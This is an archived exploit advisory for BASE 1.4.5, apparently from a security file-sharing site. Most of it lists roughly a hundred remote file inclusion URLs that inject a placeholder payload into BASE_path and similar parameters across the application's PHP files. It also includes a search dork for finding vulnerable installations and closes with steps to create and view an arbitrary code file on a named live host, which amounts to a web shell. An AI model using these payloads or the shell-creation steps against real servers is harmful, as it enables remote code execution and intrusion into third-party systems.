BASE 1.4.5 Remote File Inclusion / Shell Creation

BASE 1.4.5 Remote File Inclusion / Shell Creation: Posted Feb 11, 2012; Authored by indoushka; BASE version 1.4.5 suffers from multiple remote file inclusion vulnerabilities and a shell creation vulnerability.; tags | exploit, remote, shell, vulnerability, code execution, file inclusion; SHA-256 | 6a79ee2e653de8efb45a8234d719c59e30b017ce3998869ca0fbc8cd937dbac3; Download | Favorite | View
BASE 1.4.5 Remote File Inclusion / Shell Creation

==========================================
BASE 1.4.5 RFI / Creat Shell Vulnerability 
==========================================
           # Vendor: http://garr.dl.sourceforge.net/project/secureideas/BASE/base-1.4.5/base-1.4.5.tar.gz

                 # Date: 2012-1-27 

                # Author : indoushka 

########################################################
                                                                                                                                                                                                
# Exploit By indoushka 

-------------
dork : inurl:base_qry_main.php?new=2

Function: include    File: base_ag_main.php            Line: 1
Exploit: http://localhost/base/base_ag_main.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_ag_main.php            Line: 14
Exploit: http://localhost/base/base_ag_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_ag_main.php            Line: 2
Exploit: http://localhost/base/base_ag_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_ag_main.php            Line: 2
Exploit: http://localhost/base/base_ag_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_ag_main.php            Line: 2
Exploit: http://localhost/base/base_ag_main.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_db_setup.php            Line: 1
Exploit: http://localhost/base/base_db_setup.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_db_setup.php            Line: 1
Exploit: http://localhost/base/base_db_setup.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_db_setup.php            Line: 2
Exploit: http://localhost/base/base_db_setup.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_graph_common.php            Line: 4
Exploit: http://localhost/base/base_graph_common.php?file=[EV!L]

##################################################

Function: include_once    File: base_graph_common.php            Line: 1
Exploit: http://localhost/base/base_graph_common.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_graph_common.php            Line: 1
Exploit: http://localhost/base/base_graph_common.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_graph_display.php            Line: 2
Exploit: http://localhost/base/base_graph_display.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_graph_display.php            Line: 2
Exploit: http://localhost/base/base_graph_display.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_graph_form.php            Line: 1
Exploit: http://localhost/base/base_graph_form.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_graph_main.php            Line: 1
Exploit: http://localhost/base/base_graph_main.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_graph_main.php            Line: 7
Exploit: http://localhost/base/base_graph_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_graph_main.php            Line: 1
Exploit: http://localhost/base/base_graph_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_graph_main.php            Line: 2
Exploit: http://localhost/base/base_graph_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_local_rules.php            Line: 1
Exploit: http://localhost/base/base_local_rules.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_logout.php            Line: 1
Exploit: http://localhost/base/base_logout.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_main.php            Line: 15
Exploit: http://localhost/base/base_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_main.php            Line: 2
Exploit: http://localhost/base/base_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_main.php            Line: 2
Exploit: http://localhost/base/base_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_main.php            Line: 2
Exploit: http://localhost/base/base_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_main.php            Line: 2
Exploit: http://localhost/base/base_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_main.php            Line: 3
Exploit: http://localhost/base/base_main.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_maintenance.php            Line: 1
Exploit: http://localhost/base/base_maintenance.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_maintenance.php            Line: 1
Exploit: http://localhost/base/base_maintenance.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_maintenance.php            Line: 2
Exploit: http://localhost/base/base_maintenance.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_payload.php            Line: 2
Exploit: http://localhost/base/base_payload.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_qry_alert.php            Line: 1
Exploit: http://localhost/base/base_qry_alert.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_qry_alert.php            Line: 1
Exploit: http://localhost/base/base_qry_alert.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_qry_alert.php            Line: 2
Exploit: http://localhost/base/base_qry_alert.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_qry_common.php            Line: 1
Exploit: http://localhost/base/base_qry_common.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_qry_main.php            Line: 3
Exploit: http://localhost/base/base_qry_main.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_qry_main.php            Line: 8
Exploit: http://localhost/base/base_qry_main.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_qry_main.php            Line: 9
Exploit: http://localhost/base/base_qry_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_qry_main.php            Line: 3
Exploit: http://localhost/base/base_qry_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_qry_main.php            Line: 3
Exploit: http://localhost/base/base_qry_main.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_qry_main.php            Line: 3
Exploit: http://localhost/base/base_qry_main.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_stat_alerts.php            Line: 1
Exploit: http://localhost/base/base_stat_alerts.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_alerts.php            Line: 2
Exploit: http://localhost/base/base_stat_alerts.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_alerts.php            Line: 2
Exploit: http://localhost/base/base_stat_alerts.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_stat_class.php            Line: 1
Exploit: http://localhost/base/base_stat_class.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_class.php            Line: 2
Exploit: http://localhost/base/base_stat_class.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_class.php            Line: 2
Exploit: http://localhost/base/base_stat_class.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_common.php            Line: 1
Exploit: http://localhost/base/base_stat_common.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_stat_ipaddr.php            Line: 1
Exploit: http://localhost/base/base_stat_ipaddr.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_ipaddr.php            Line: 2
Exploit: http://localhost/base/base_stat_ipaddr.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_stat_iplink.php            Line: 1
Exploit: http://localhost/base/base_stat_iplink.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_iplink.php            Line: 2
Exploit: http://localhost/base/base_stat_iplink.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_iplink.php            Line: 2
Exploit: http://localhost/base/base_stat_iplink.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_stat_ports.php            Line: 2
Exploit: http://localhost/base/base_stat_ports.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_ports.php            Line: 2
Exploit: http://localhost/base/base_stat_ports.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_ports.php            Line: 2
Exploit: http://localhost/base/base_stat_ports.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_stat_sensor.php            Line: 1
Exploit: http://localhost/base/base_stat_sensor.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_sensor.php            Line: 2
Exploit: http://localhost/base/base_stat_sensor.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_sensor.php            Line: 2
Exploit: http://localhost/base/base_stat_sensor.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_sensor.php            Line: 2
Exploit: http://localhost/base/base_stat_sensor.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_stat_time.php            Line: 4
Exploit: http://localhost/base/base_stat_time.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_time.php            Line: 4
Exploit: http://localhost/base/base_stat_time.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_time.php            Line: 5
Exploit: http://localhost/base/base_stat_time.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_time.php            Line: 5
Exploit: http://localhost/base/base_stat_time.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_stat_uaddr.php            Line: 2
Exploit: http://localhost/base/base_stat_uaddr.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_uaddr.php            Line: 2
Exploit: http://localhost/base/base_stat_uaddr.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_stat_uaddr.php            Line: 2
Exploit: http://localhost/base/base_stat_uaddr.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_user.php            Line: 1
Exploit: http://localhost/base/base_user.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_user.php            Line: 1
Exploit: http://localhost/base/base_user.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_user.php            Line: 2
Exploit: http://localhost/base/base_user.php?BASE_path=[EV!L]

##################################################

Function: include    File: index.php            Line: 2
Exploit: http://localhost/base/index.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: index.php            Line: 2
Exploit: http://localhost/base/index.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_roleadmin.php            Line: 1
Exploit: http://localhost/base/admin/base_roleadmin.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_roleadmin.php            Line: 1
Exploit: http://localhost/base/admin/base_roleadmin.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_roleadmin.php            Line: 2
Exploit: http://localhost/base/admin/base_roleadmin.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_useradmin.php            Line: 1
Exploit: http://localhost/base/admin/base_useradmin.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_useradmin.php            Line: 1
Exploit: http://localhost/base/admin/base_useradmin.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_useradmin.php            Line: 2
Exploit: http://localhost/base/admin/base_useradmin.php?BASE_path=[EV!L]

##################################################

Function: include    File: index.php            Line: 1
Exploit: http://localhost/base/admin/index.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: index.php            Line: 1
Exploit: http://localhost/base/admin/index.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: index.php            Line: 2
Exploit: http://localhost/base/admin/index.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_setup_help.php            Line: 1
Exploit: http://localhost/base/help/base_setup_help.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_action.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_action.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_cache.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_cache.inc.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_db.inc.php            Line: 21
Exploit: http://localhost/base/includes/base_db.inc.php?path=[EV!L]

##################################################

Function: include    File: base_db.inc.php            Line: 21
Exploit: http://localhost/base/includes/base_db.inc.php?path=[EV!L]

##################################################

Function: include_once    File: base_include.inc.php            Line: 1
Exploit: http://localhost/base/includes/base_include.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_include.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_include.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_include.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_include.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_include.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_include.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_include.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_include.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_include.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_include.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_include.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_include.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_include.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_include.inc.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_output_html.inc.php            Line: 3
Exploit: http://localhost/base/includes/base_output_html.inc.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_output_html.inc.php            Line: 3
Exploit: http://localhost/base/includes/base_output_html.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_output_query.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_output_query.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_state_common.inc.php            Line: 3
Exploit: http://localhost/base/includes/base_state_common.inc.php?GLOBALS[user_session_path]=[EV!L]

##################################################

Function: include_once    File: base_state_criteria.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_state_criteria.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_state_query.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_state_query.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_state_query.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_state_query.inc.php?BASE_path=[EV!L]

##################################################

Function: include_once    File: base_state_query.inc.php            Line: 2
Exploit: http://localhost/base/includes/base_state_query.inc.php?BASE_path=[EV!L]

##################################################

Function: include    File: base_conf_contents.php            Line: 19
Exploit: http://localhost/base/setup/base_conf_contents.php?BASE_Language=[EV!L]

##################################################

Function: include    File: base_conf_contents.php            Line: 19
Exploit: http://localhost/base/setup/base_conf_contents.php?BASE_path=[EV!L]

##################################################

Function: include    File: setup2.php            Line: 2
Exploit: http://localhost/base/setup/setup2.php?ado_inc_php=[EV!L]

##################################################

----------------------------------------------------------

enter her http://spiderman.diginext.com/base-1.3.9/base_ag_main.php?ag_action=create to Creat File and past your code

enter her http://spiderman.diginext.com/base-1.3.9/base_ag_main.php?ag_action=view to view your file
Top Authors In Last 30 Days

Red Hat 293 files
Ubuntu 64 files
Debian 22 files
Gentoo 8 files
Google Security Research 7 files
LiquidWorm 6 files
Apple 5 files
Jann Horn 3 files
Spencer McIntyre 3 files
Milad Karimi 3 files
File Archives

Systems

AIX (430)
Apple (2,132)
BSD (378)
CentOS (61)
Cisco (1,954)
Debian (7,175)
Fedora (1,693)
FreeBSD (1,247)
Gentoo (4,607)
HPUX (881)
iOS (395)
iPhone (108)
IRIX (220)
Juniper (71)
Linux (52,140)
Mac OS X (696)
Mandriva (3,105)
NetBSD (256)
OpenBSD (490)
RedHat (17,480)
Slackware (941)
Solaris (1,615)
SUSE (1,444)
Ubuntu (10,022)
UNIX (9,482)
UnixWare (188)
Windows (6,785)
Other
BASE 1.4.5 Remote File Inclusion / Shell Creation

BASE 1.4.5 Remote File Inclusion / Shell Creation

File Archive:

December 2024

Top Authors In Last 30 Days

File Tags

File Archives

Systems

BASE 1.4.5 Remote File Inclusion / Shell Creation

Share This

BASE 1.4.5 Remote File Inclusion / Shell Creation

File Archive:

December 2024

Top Authors In Last 30 Days

File Tags

File Archives

Systems
